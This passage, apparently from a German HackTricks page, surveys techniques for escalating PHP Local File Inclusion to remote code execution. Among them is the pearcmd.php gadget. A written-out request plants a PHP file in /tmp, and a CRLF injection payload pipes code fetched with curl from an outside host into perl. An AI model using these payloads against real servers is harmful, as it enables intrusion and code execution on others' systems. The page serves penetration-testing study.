in multipart POST-Daten mitsendest, wird PHP die Session für dich aktivieren. Das kannst du ausnutzen, um RCE zu erlangen:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Über temp file uploads in Windows
Wenn du eine Local File Inclusion gefunden hast und der Server unter Windows läuft, könntest du RCE erreichen:
Über pearcmd.php
+ URL args
As explained in this post, das Script /usr/local/lib/phppearcmd.php
existiert standardmäßig in php docker images. Zudem ist es möglich, dem Script Argumente über die URL zu übergeben, weil angegeben ist, dass ein URL-Param ohne =
als Argument verwendet werden soll. Siehe auch watchTowr’s write-up und Orange Tsai’s “Confusion Attacks”.
Die folgende Anfrage erstellt eine Datei in /tmp/hello.php
mit dem Inhalt <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Im Folgenden wird eine CRLF vuln missbraucht, um RCE zu erreichen (von here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Über phpinfo() (file_uploads = on)
Wenn du eine Local File Inclusion gefunden hast und eine Datei phpinfo() offenbart wurde mit file_uploads = on, kannst du RCE erreichen:
Über compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Wenn du eine Local File Inclusion gefunden hast und du den Pfad der temporären Datei exfiltrieren kannst, ABER der Server überprüft, ob die einzuschließende Datei PHP-Markierungen enthält, kannst du versuchen, diese Überprüfung zu umgehen mit dieser Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Über eternal waiting + bruteforce
Wenn du LFI missbrauchen kannst, um temporäre Dateien hochzuladen und den Server die PHP-Ausführung hängen zu lassen, könntest du dann stundenlang Dateinamen bruteforcen, um die temporäre Datei zu finden:
Zum Fatal Error
If you include any of the files /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (You need to include the same one 2 time to throw that error).
Ich weiß nicht, wie nützlich das ist, aber es könnte sein.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.
.png)
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.